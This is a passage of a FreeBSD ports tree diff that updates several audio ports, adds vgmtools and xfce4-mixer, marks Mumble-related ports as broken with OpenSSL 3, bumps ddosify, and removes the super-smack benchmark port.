include/libopenmpt/libopenmpt_stream_callbacks_fd.h include/libopenmpt/libopenmpt_stream_callbacks_file.h +include/libopenmpt/libopenmpt_stream_callbacks_file_mingw.h +include/libopenmpt/libopenmpt_stream_callbacks_file_msvcrt.h +include/libopenmpt/libopenmpt_stream_callbacks_file_posix.h +include/libopenmpt/libopenmpt_stream_callbacks_file_posix_lfs64.h include/libopenmpt/libopenmpt_version.h lib/libopenmpt.a lib/libopenmpt.so lib/libopenmpt.so.0 -lib/libopenmpt.so.0.3.3 +lib/libopenmpt.so.0.4.4 libdata/pkgconfig/libopenmpt.pc %%OPENMPT123%%man/man1/openmpt123.1.gz %%PORTDOCS%%%%DOCSDIR%%/README.md diff --git a/audio/libopenshot-audio/Makefile b/audio/libopenshot-audio/Makefile index 9bab1c857c6..9ce7ee009c8 100644 --- a/audio/libopenshot-audio/Makefile +++ b/audio/libopenshot-audio/Makefile @@ -1,7 +1,6 @@ PORTNAME= libopenshot-audio DISTVERSIONPREFIX= v -DISTVERSION= 0.3.1 -PORTREVISION= 1 +DISTVERSION= 0.3.2 CATEGORIES= audio multimedia MAINTAINER= tatsuki_makino@hotmail.com diff --git a/audio/libopenshot-audio/distinfo b/audio/libopenshot-audio/distinfo index 831fd7b8764..997ec1e717b 100644 --- a/audio/libopenshot-audio/distinfo +++ b/audio/libopenshot-audio/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681095600 -SHA256 (OpenShot-libopenshot-audio-v0.3.1_GH0.tar.gz) = acaad852d6d72fee28e015caf328fc8ebf89453ca97e3071372e12cb9c309898 -SIZE (OpenShot-libopenshot-audio-v0.3.1_GH0.tar.gz) = 1772376 +TIMESTAMP = 1682218800 +SHA256 (OpenShot-libopenshot-audio-v0.3.2_GH0.tar.gz) = f09d5251c934e6c14d98217b44574c508318c8575e47f5c48ffaf54d9bbce3e9 +SIZE (OpenShot-libopenshot-audio-v0.3.2_GH0.tar.gz) = 1772366 diff --git a/audio/libopenshot-audio/pkg-plist b/audio/libopenshot-audio/pkg-plist index 4f6d197196c..61490c18cb1 100644 --- a/audio/libopenshot-audio/pkg-plist +++ b/audio/libopenshot-audio/pkg-plist @@ -363,7 +363,7 @@ lib/cmake/OpenShotAudio/OpenShotAudioConfigVersion.cmake lib/cmake/OpenShotAudio/OpenShotAudioTargets-%%CMAKE_BUILD_TYPE%%.cmake lib/cmake/OpenShotAudio/OpenShotAudioTargets.cmake lib/libopenshot-audio.so -lib/libopenshot-audio.so.0.3.1 +lib/libopenshot-audio.so.0.3.2 lib/libopenshot-audio.so.9 share/man/man1/openshot-audio-demo.1.gz @dir include/libopenshot-audio/juce_audio_devices/native/java/app/com/roli/juce diff --git a/audio/miniaudio/Makefile b/audio/miniaudio/Makefile index dbef8f2850c..1d03d1e0cf6 100644 --- a/audio/miniaudio/Makefile +++ b/audio/miniaudio/Makefile @@ -1,5 +1,5 @@ PORTNAME= miniaudio -DISTVERSION= 0.11.9 # upstream doesn't tag the repository +DISTVERSION= 0.11.15 # upstream sometimes doesn't tag the repository PORTEPOCH= 1 CATEGORIES= audio devel @@ -16,7 +16,6 @@ CPE_VENDOR= miniaudio_project USE_GITHUB= yes GH_ACCOUNT= mackron -GH_TAGNAME= 4dfe7c4c31df46e78d9a1cc0d2d6f1aef5a5d58c NO_BUILD= yes NO_ARCH= yes diff --git a/audio/miniaudio/distinfo b/audio/miniaudio/distinfo index 0b1402b8829..3e365aad62b 100644 --- a/audio/miniaudio/distinfo +++ b/audio/miniaudio/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1653979395 -SHA256 (mackron-miniaudio-0.11.9-4dfe7c4c31df46e78d9a1cc0d2d6f1aef5a5d58c_GH0.tar.gz) = 76c154a60e320ae2054ac0e93480f2dffc12a5129bdb2ed4a62e0cce8d345c36 -SIZE (mackron-miniaudio-0.11.9-4dfe7c4c31df46e78d9a1cc0d2d6f1aef5a5d58c_GH0.tar.gz) = 1402233 +TIMESTAMP = 1682872370 +SHA256 (mackron-miniaudio-0.11.15_GH0.tar.gz) = 24a6d38fe69cd42d91f6c1ad211bb559f6c89768c4671fa05b8027f5601d5457 +SIZE (mackron-miniaudio-0.11.15_GH0.tar.gz) = 1465008 diff --git a/audio/mp3plot/Makefile b/audio/mp3plot/Makefile index b0f87839e70..a18cb474c7e 100644 --- a/audio/mp3plot/Makefile +++ b/audio/mp3plot/Makefile @@ -1,6 +1,6 @@ PORTNAME= mp3plot DISTVERSION= 0.6.0 -PORTREVISION= 33 +PORTREVISION= 34 CATEGORIES= audio MASTER_SITES= http://p.outlyer.net/mp3plot/files/ diff --git a/audio/mumble/Makefile b/audio/mumble/Makefile index fa996ad9871..5f93ad01930 100644 --- a/audio/mumble/Makefile +++ b/audio/mumble/Makefile @@ -18,6 +18,8 @@ LIB_DEPENDS+= libspeex.so:audio/speex \ libopus.so:audio/opus USES= compiler:c++11-lang cpe desktop-file-utils gl gmake gnome pkgconfig python:build qmake qt:5 ssl xorg +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Requires OpenSSL 3.0.0 deprecated CRYPTO_MEM_CHECK_ON PATCHVERSION= ${PORTVERSION} MINORVERSION= ${PORTVERSION:R} diff --git a/audio/murmur/Makefile b/audio/murmur/Makefile index 3ff5e48f10d..e286c33d451 100644 --- a/audio/murmur/Makefile +++ b/audio/murmur/Makefile @@ -14,6 +14,8 @@ BUILD_DEPENDS= ${LOCALBASE}/include/boost/function.hpp:devel/boost-libs LIB_DEPENDS= libprotobuf.so:devel/protobuf USES= compiler:c++11-lang qmake pkgconfig python:build qt:5 ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Requires OpenSSL 3.0.0 deprecated CRYPTO_MEM_CHECK_ON USE_CXXSTD= c++11 USE_QT= buildtools:build core network sql xml diff --git a/audio/umurmur/Makefile b/audio/umurmur/Makefile index 48ada3aed12..792a6b35d95 100644 --- a/audio/umurmur/Makefile +++ b/audio/umurmur/Makefile @@ -17,12 +17,14 @@ LIB_DEPENDS= libconfig.so:devel/libconfig \ libprotobuf-c.so:devel/protobuf-c USES= autoreconf gmake libtool localbase ssl -GNU_CONFIGURE= yes +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Requires OpenSSL 3.0.0 deprecated CRYPTO_MEM_CHECK_ON USE_GITHUB= yes -CONFIGURE_ARGS= --with-ssl=openssl - USE_RC_SUBR= umurmur +GNU_CONFIGURE= yes +CONFIGURE_ARGS= --with-ssl=openssl + post-patch: @${REINPLACE_CMD} -e 's|%%PREFIX%%|${PREFIX}|g' ${WRKSRC}/configure.ac @${REINPLACE_CMD} -e 's|%%PREFIX%%|${PREFIX}|g' ${WRKSRC}/src/conf.c diff --git a/audio/vgmtools/Makefile b/audio/vgmtools/Makefile new file mode 100644 index 00000000000..495c8f3985c --- /dev/null +++ b/audio/vgmtools/Makefile @@ -0,0 +1,18 @@ +PORTNAME= vgmtools +DISTVERSION= g20220718 +CATEGORIES= audio + +MAINTAINER= beyert@cs.ucr.edu +COMMENT= Tools for vgm/vgz files +WWW= https://github.com/vgmrips/vgmtools + +LICENSE= GPLv2 +LICENSE_FILE= ${WRKSRC}/LICENSE + +USES= cmake + +USE_GITHUB= yes +GH_ACCOUNT= vgmrips +GH_TAGNAME= af83a85d55349af0a54e01cfd61e2aede0b09831 + +.include diff --git a/audio/vgmtools/distinfo b/audio/vgmtools/distinfo new file mode 100644 index 00000000000..793fda592bb --- /dev/null +++ b/audio/vgmtools/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682772788 +SHA256 (vgmrips-vgmtools-g20220718-af83a85d55349af0a54e01cfd61e2aede0b09831_GH0.tar.gz) = d601c8111801ba756ad77fc528b9189e252aaa5b73c7033e8cfb00fc8ebea7cc +SIZE (vgmrips-vgmtools-g20220718-af83a85d55349af0a54e01cfd61e2aede0b09831_GH0.tar.gz) = 308673 diff --git a/audio/vgmtools/pkg-descr b/audio/vgmtools/pkg-descr new file mode 100644 index 00000000000..9575f1f123c --- /dev/null +++ b/audio/vgmtools/pkg-descr @@ -0,0 +1,5 @@ +The official and always up-to-date tools for all VGM (Video Game +Music) files. VGM is an audio file format for multiple video game +platforms, such as Sega Master System, Game Gear, Mega Drive/Genesis, +MSX, Neo Geo, IBM PC AT (Adlib/SoundBlaster), and has expanded to a +variety of arcade system boards since its release. diff --git a/audio/vgmtools/pkg-plist b/audio/vgmtools/pkg-plist new file mode 100644 index 00000000000..323902565a8 --- /dev/null +++ b/audio/vgmtools/pkg-plist @@ -0,0 +1,27 @@ +bin/dro2vgm +bin/imf2vgm +bin/opl_23 +bin/optvgm +bin/optvgmrf +bin/raw2vgm +bin/vgm2txt +bin/vgm_cmp +bin/vgm_cnt +bin/vgm_dbc +bin/vgm_dso +bin/vgm_facc +bin/vgm_mono +bin/vgm_ndlz +bin/vgm_ptch +bin/vgm_ren +bin/vgm_smp1 +bin/vgm_sptd +bin/vgm_spts +bin/vgm_sro +bin/vgm_stat +bin/vgm_tag +bin/vgm_trim +bin/vgm_tt +bin/vgm_vol +bin/vgmlpfnd +bin/vgmmerge diff --git a/audio/xfce4-mixer/Makefile b/audio/xfce4-mixer/Makefile new file mode 100644 index 00000000000..158cd86e2b9 --- /dev/null +++ b/audio/xfce4-mixer/Makefile @@ -0,0 +1,61 @@ +PORTNAME= xfce4-mixer +PORTVERSION= 4.18.0 +CATEGORIES= audio xfce +MASTER_SITES= XFCE/apps +DIST_SUBDIR= xfce4 + +MAINTAINER= xfce@FreeBSD.org +COMMENT= Volume control for the Xfce desktop +WWW= https://docs.xfce.org/apps/xfce4-mixer/start + +LICENSE= GPLv2 + +LIB_DEPENDS= libharfbuzz.so:print/harfbuzz + +FLAVORS= lite full +FLAVOR?= ${FLAVORS:[1]} + +lite_CONFLICTS_INSTALL= xfce4-mixer-full + +full_PKGNAMESUFFIX= -full +full_CONFLICTS_INSTALL= xfce4-mixer + +USES= compiler:c11 gettext-tools gmake gnome gstreamer libtool \ + pkgconfig tar:bzip2 xfce xorg +USE_GNOME= cairo gdkpixbuf2 glib20 gtk30 intltool +USE_GSTREAMER= good +USE_XFCE= panel +USE_XORG= x11 + +GNU_CONFIGURE= yes +INSTALL_TARGET= install-strip + +OPTIONS_DEFINE= KEYBINDER NLS +OPTIONS_DEFAULT= OSS +OPTIONS_GROUP= AUDIO +OPTIONS_GROUP_AUDIO= ALSA OSS PULSEAUDIO SNDIO +OPTIONS_SUB= yes + +.if ${FLAVOR} == full +OPTIONS_DEFAULT+= ALSA KEYBINDER PULSEAUDIO SNDIO +.endif + +ALSA_LIB_DEPENDS= libasound.so:audio/alsa-lib +ALSA_CONFIGURE_ENABLE= alsa + +KEYBINDER_DESC= Multimedia keyboard shortcuts +KEYBINDER_LIB_DEPENDS= libkeybinder-3.0.so:x11/keybinder-gtk3 +KEYBINDER_CONFIGURE_ENABLE= keybinder + +NLS_USES= gettext-runtime +NLS_CONFIGURE_ENABLE= nls + +OSS_CONFIGURE_ENABLE= oss + +PULSEAUDIO_LIB_DEPENDS= libpulse.so:audio/pulseaudio +PULSEAUDIO_CONFIGURE_ENABLE= pulse + +SNDIO_LIB_DEPENDS= libsndio.so:audio/sndio +SNDIO_CONFIGURE_ENABLE= sndio + +.include diff --git a/audio/xfce4-mixer/distinfo b/audio/xfce4-mixer/distinfo new file mode 100644 index 00000000000..e01fe2dd0ba --- /dev/null +++ b/audio/xfce4-mixer/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682756990 +SHA256 (xfce4/xfce4-mixer-4.18.0.tar.bz2) = 53747a23732e79ed808a73242bbc8e0140434249ca1a0f57f4028e88531f95de +SIZE (xfce4/xfce4-mixer-4.18.0.tar.bz2) = 527890 diff --git a/audio/xfce4-mixer/pkg-descr b/audio/xfce4-mixer/pkg-descr new file mode 100644 index 00000000000..058a1047405 --- /dev/null +++ b/audio/xfce4-mixer/pkg-descr @@ -0,0 +1,3 @@ +The Mixer is a volume control application for the Xfce Desktop +Environment. It provides both a volume control plugin for the Xfce panel +and a standalone mixer application. diff --git a/audio/xfce4-mixer/pkg-plist b/audio/xfce4-mixer/pkg-plist new file mode 100644 index 00000000000..1bb4d0e67e2 --- /dev/null +++ b/audio/xfce4-mixer/pkg-plist @@ -0,0 +1,66 @@ +bin/xfce4-mixer +lib/xfce4/panel/plugins/libmixer.so +man/man1/xfce4-mixer.1.gz +share/applications/xfce4-mixer.desktop +%%NLS%%share/locale/ar/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/ast/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/be/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/bg/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/ca/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/cs/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/da/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/de/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/el/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/en_AU/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/en_CA/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/en_GB/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/es/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/eu/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/fa_IR/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/fi/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/fr/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/gl/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/he/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/hr/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/hu/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/hy_AM/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/hye/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/id/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/ie/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/is/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/it/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/ja/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/kk/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/ko/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/lt/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/lv/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/ms/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/nb/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/nl/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/nn/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/oc/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/pl/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/pt/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/pt_BR/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/ro/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/ru/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/si/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/sk/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/sl/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/sq/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/sr/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/sv/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/th/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/tr/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/ug/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/uk/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/ur/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/ur_PK/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/zh_CN/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/zh_HK/LC_MESSAGES/xfce4-mixer.mo +%%NLS%%share/locale/zh_TW/LC_MESSAGES/xfce4-mixer.mo +share/pixmaps/xfce4-mixer/chain-broken.png +share/pixmaps/xfce4-mixer/chain.png +share/xfce4/mixer/icons/hicolor/16x16/status/audio-input-microphone-muted.png +share/xfce4/mixer/icons/hicolor/scalable/status/audio-input-microphone-muted.svg +share/xfce4/panel/plugins/mixer.desktop diff --git a/audio/xfce4-mpc-plugin/Makefile b/audio/xfce4-mpc-plugin/Makefile index 094c7dbf0f6..ba3b618ce54 100644 --- a/audio/xfce4-mpc-plugin/Makefile +++ b/audio/xfce4-mpc-plugin/Makefile @@ -1,6 +1,5 @@ PORTNAME= xfce4-mpc-plugin -PORTVERSION= 0.5.2 -PORTREVISION= 2 +PORTVERSION= 0.5.3 CATEGORIES= audio xfce MASTER_SITES= XFCE/panel-plugins DIST_SUBDIR= xfce4 @@ -11,7 +10,8 @@ WWW= https://goodies.xfce.org/projects/panel-plugins/xfce4-mpc-plugin LICENSE= ISCL -LIB_DEPENDS= libmpd.so:audio/libmpd +LIB_DEPENDS= libharfbuzz.so:print/harfbuzz \ + libmpd.so:audio/libmpd RUN_DEPENDS= musicpd:audio/musicpd USES= compiler:c11 gettext-tools gmake gnome libtool pkgconfig \ @@ -19,8 +19,8 @@ USES= compiler:c11 gettext-tools gmake gnome libtool pkgconfig \ USE_GNOME= cairo gdkpixbuf2 gtk30 intltool USE_XFCE= panel -GNU_CONFIGURE= yes -INSTALL_TARGET= install-strip +GNU_CONFIGURE= yes +INSTALL_TARGET= install-strip CONFIGURE_ARGS+= --with-libmpd=${LOCALBASE} OPTIONS_DEFINE= NLS diff --git a/audio/xfce4-mpc-plugin/distinfo b/audio/xfce4-mpc-plugin/distinfo index 0228e6ec9e5..9712610a8d1 100644 --- a/audio/xfce4-mpc-plugin/distinfo +++ b/audio/xfce4-mpc-plugin/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1565692661 -SHA256 (xfce4/xfce4-mpc-plugin-0.5.2.tar.bz2) = eefe78b7b6b95312b3a52814b7f632dc92970c1b3e9535de616315749bf67760 -SIZE (xfce4/xfce4-mpc-plugin-0.5.2.tar.bz2) = 293655 +TIMESTAMP = 1682755651 +SHA256 (xfce4/xfce4-mpc-plugin-0.5.3.tar.bz2) = 0467fb4d1acd982d3c3e0b89cb41019946850524ff19ed0f658a8d56c7b7664d +SIZE (xfce4/xfce4-mpc-plugin-0.5.3.tar.bz2) = 327566 diff --git a/audio/xfce4-mpc-plugin/pkg-plist b/audio/xfce4-mpc-plugin/pkg-plist index 6c1ffc23fae..73e3fdcfcfc 100644 --- a/audio/xfce4-mpc-plugin/pkg-plist +++ b/audio/xfce4-mpc-plugin/pkg-plist @@ -9,8 +9,10 @@ lib/xfce4/panel/plugins/libmpc.so %%NLS%%share/locale/de/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/el/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/en_AU/LC_MESSAGES/xfce4-mpc-plugin.mo +%%NLS%%share/locale/en_CA/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/en_GB/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/es/LC_MESSAGES/xfce4-mpc-plugin.mo +%%NLS%%share/locale/et/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/eu/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/fi/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/fr/LC_MESSAGES/xfce4-mpc-plugin.mo @@ -19,6 +21,7 @@ lib/xfce4/panel/plugins/libmpc.so %%NLS%%share/locale/hr/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/hu/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/hy_AM/LC_MESSAGES/xfce4-mpc-plugin.mo +%%NLS%%share/locale/hye/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/id/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/ie/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/is/LC_MESSAGES/xfce4-mpc-plugin.mo @@ -36,6 +39,7 @@ lib/xfce4/panel/plugins/libmpc.so %%NLS%%share/locale/pt_BR/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/ru/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/sk/LC_MESSAGES/xfce4-mpc-plugin.mo +%%NLS%%share/locale/sl/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/sq/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/sr/LC_MESSAGES/xfce4-mpc-plugin.mo %%NLS%%share/locale/sv/LC_MESSAGES/xfce4-mpc-plugin.mo diff --git a/benchmarks/Makefile b/benchmarks/Makefile index 1ad8596bae0..47c290fb7c2 100644 --- a/benchmarks/Makefile +++ b/benchmarks/Makefile @@ -100,7 +100,6 @@ SUBDIR += spp SUBDIR += stream SUBDIR += stress-ng - SUBDIR += super-smack SUBDIR += sysbench SUBDIR += tcpblast SUBDIR += thrulay diff --git a/benchmarks/ddosify/Makefile b/benchmarks/ddosify/Makefile index 9ea182ab52b..174ad97d55d 100644 --- a/benchmarks/ddosify/Makefile +++ b/benchmarks/ddosify/Makefile @@ -1,6 +1,6 @@ PORTNAME= ddosify DISTVERSIONPREFIX= v -DISTVERSION= 0.16.6 +DISTVERSION= 0.16.7 CATEGORIES= benchmarks MAINTAINER= 0xdutra@gmail.com diff --git a/benchmarks/ddosify/distinfo b/benchmarks/ddosify/distinfo index 872ee6c9a3e..5fd72cef4b4 100644 --- a/benchmarks/ddosify/distinfo +++ b/benchmarks/ddosify/distinfo @@ -1,6 +1,6 @@ -TIMESTAMP = 1682181891 -SHA256 (ddosify-ddosify-v0.16.6_GH0.tar.gz) = 539c8eb3fbc15ea409a70c83133fd087de2f0b4b12069a212c97500e163c73a4 -SIZE (ddosify-ddosify-v0.16.6_GH0.tar.gz) = 1204100 +TIMESTAMP = 1682822174 +SHA256 (ddosify-ddosify-v0.16.7_GH0.tar.gz) = 025029a312debd41c82baa373275e6ede169a93b1beb869142319fa60f4b5c0c +SIZE (ddosify-ddosify-v0.16.7_GH0.tar.gz) = 1208687 SHA256 (antchfx-xmlquery-v1.3.13_GH0.tar.gz) = e882143ac161874fc3d9a91f1e19ab78271b5aa37a7d8541e728b566c405e36c SIZE (antchfx-xmlquery-v1.3.13_GH0.tar.gz) = 21490 SHA256 (antchfx-xpath-v1.2.1_GH0.tar.gz) = cd9962512d4b3611b500621c1aeaf12780648845f7c976050c2bcba5c5d222c4 diff --git a/benchmarks/super-smack/Makefile b/benchmarks/super-smack/Makefile deleted file mode 100644 index 7a2e6cc55ee..00000000000 --- a/benchmarks/super-smack/Makefile +++ /dev/null @@ -1,42 +0,0 @@ -PORTNAME= super-smack -PORTVERSION= 1.3 -PORTREVISION= 4 -CATEGORIES= benchmarks databases -MASTER_SITES= GENTOO - -MAINTAINER= ports@FreeBSD.org -COMMENT= Benchmarking, stress testing, and load generation tool for Databases -WWW= https://jeremy.zawodny.com/mysql/super-smack/ - -LICENSE= GPLv2+ - -BROKEN= unfetchable -EXPIRATION_DATE=2023-04-30 - -GNU_CONFIGURE= yes -CONFIGURE_ARGS= --with-smacks-dir=${DATADIR} -MAKE_JOBS_UNSAFE= yes -CPPFLAGS+= -D_WANT_SEMUN - -PORTDOCS= CHANGES README MANUAL TUTORIAL - -OPTIONS_DEFINE= DOCS -OPTIONS_MULTI= DB -OPTIONS_MULTI_DB= MYSQL PGSQL -OPTIONS_DEFAULT= MYSQL - -MYSQL_USES= compiler:c++11-lang mysql -MYSQL_CONFIGURE_ON= --with-mysql \ - --with-mysql-include=${LOCALBASE}/include/mysql \ - --with-mysql-lib=${LOCALBASE}/lib/mysql - -PGSQL_USES= pgsql -PGSQL_CONFIGURE_ON= --with-pgsql \ - --with-pgsql-include=${LOCALBASE}/include \ - --with-pgsql-lib=${LOCALBASE}/lib - -post-install-DOCS-on: - @${MKDIR} ${STAGEDIR}${DOCSDIR} - ${INSTALL_DATA} ${PORTDOCS:S|^|${WRKSRC}/|} ${STAGEDIR}${DOCSDIR} - -.include diff --git a/benchmarks/super-smack/distinfo b/benchmarks/super-smack/distinfo deleted file mode 100644 index 99d424f68b5..00000000000 --- a/benchmarks/super-smack/distinfo +++ /dev/null @@ -1,2 +0,0 @@ -SHA256 (super-smack-1.3.tar.gz) = 969d40e772faa8580f8e8f2dfa2a381fbadbd79fc0c94304347d594dba2a9bd9 -SIZE (super-smack-1.3.tar.gz) = 155375 diff --git a/benchmarks/super-smack/files/patch-Makefile.in b/benchmarks/super-smack/files/patch-Makefile.in deleted file mode 100644 index b0f1de511e6..00000000000 --- a/benchmarks/super-smack/files/patch-Makefile.in +++ /dev/null @@ -1,13 +0,0 @@ ---- Makefile.in.orig 2005-04-30 15:19:40 UTC -+++ Makefile.in -@@ -379,8 +379,8 @@ mostlyclean distclean maintainer-clean - - - install-data-local: -- $(mkinstalldirs) $(SMACKS_DIR) $(DATADIR) -- cp -rp $(srcdir)/smacks/* $(SMACKS_DIR) -+ $(mkinstalldirs) $(DESTDIR)$(SMACKS_DIR) $(DESTDIR)$(DATADIR) -+ cp -rp $(srcdir)/smacks/* $(DESTDIR)$(SMACKS_DIR) - - dist-hook: - mkdir -p $(distdir)/smacks diff --git a/benchmarks/super-smack/files/patch-src_client.cc b/benchmarks/super-smack/files/patch-src_client.cc deleted file mode 100644 index b28e8439f01..00000000000 --- a/benchmarks/super-smack/files/patch-src_client.cc +++ /dev/null @@ -1,20 +0,0 @@ ---- src/client.cc.orig 2005-05-30 10:42:52 UTC -+++ src/client.cc -@@ -34,7 +34,7 @@ using namespace std; - - #define MAX_VAR_BUF 512 - --#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && !(defined(__MACH__) && defined(__APPLE__)) -+#if !defined(__DragonFly__) && !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && !(defined(__MACH__) && defined(__APPLE__)) - #if defined(__GNU_LIBRARY__) && !defined(_SEM_SEMUN_UNDEFINED) - /* union semun is defined by including */ - #else -@@ -57,7 +57,7 @@ using namespace std; - }; - - #endif --#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && !(defined(__MACH__) && defined(__APPLE__)) -+#if !defined(__DragonFly__) && !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && !(defined(__MACH__) && defined(__APPLE__)) - #define SUPER_SMACK_RESTART ERESTART - #else - #define SUPER_SMACK_RESTART EINTR diff --git a/benchmarks/super-smack/files/patch-src_dictionary.h b/benchmarks/super-smack/files/patch-src_dictionary.h deleted file mode 100644 index a9388450771..00000000000 --- a/benchmarks/super-smack/files/patch-src_dictionary.h +++ /dev/null @@ -1,10 +0,0 @@ ---- src/dictionary.h.orig 2003-05-15 00:14:52 UTC -+++ src/dictionary.h -@@ -22,6 +22,7 @@ using namespace std; - #include "../config.h" - - #include -+#include - #include - #include - #include diff --git a/benchmarks/super-smack/files/patch-src_query.cc b/benchmarks/super-smack/files/patch-src_query.cc deleted file mode 100644 index ef4e688e8ea..00000000000 --- a/benchmarks/super-smack/files/patch-src_query.cc +++ /dev/null @@ -1,20 +0,0 @@ ---- src/query.cc.orig 2005-04-30 13:51:29 UTC -+++ src/query.cc -@@ -197,7 +197,7 @@ void Query_report::fd_send(int fd) - { - string s((*i).first); - int str_len = (*i).first.length(); -- if((unsigned)p + str_len + 3 *sizeof(int) < (unsigned)p_end ) -+ if(p + str_len + 3 *sizeof(int) < p_end ) - { - *p++ = (char) str_len; - const char* q_type_name = s.c_str(); -@@ -216,7 +216,7 @@ void Query_report::fd_send(int fd) - die(0, "report buffer overflow -- too many query types"); - } - -- len = (unsigned)p - (unsigned)buf; -+ len = p - buf; - *(buf) = num_recs; - - if(write(fd, buf, len) != len) diff --git a/benchmarks/super-smack/pkg-descr b/benchmarks/super-smack/pkg-descr deleted file mode 100644 index 96e8ea4ec16..00000000000 --- a/benchmarks/super-smack/pkg-descr +++ /dev/null @@ -1,3 +0,0 @@ -Super Smack is a benchmarking, stress testing, and load generation tool -for MySQL (and PostgreSQL). Super Smack was originally written by Sasha -Pachev, and then hosted and maintained by Jeremy Zawodny. diff --git a/benchmarks/super-smack/pkg-plist b/benchmarks/super-smack/pkg-plist deleted file mode 100644 index 6c606c51d67..00000000000 --- a/benchmarks/super-smack/pkg-plist +++ /dev/null @@ -1,5 +0,0 @@ -bin/gen-data -bin/super-smack -%%DATADIR%%/select-key.smack -%%DATADIR%%/update-select.smack -@dir /var/smack-data diff --git a/biology/bedtools/Makefile b/biology/bedtools/Makefile index a69f31ec0bb..7e8b367384c 100644 --- a/biology/bedtools/Makefile +++ b/biology/bedtools/Makefile @@ -1,6 +1,6 @@ PORTNAME= bedtools DISTVERSIONPREFIX= v -DISTVERSION= 2.30.0 +DISTVERSION= 2.31.0 CATEGORIES= biology 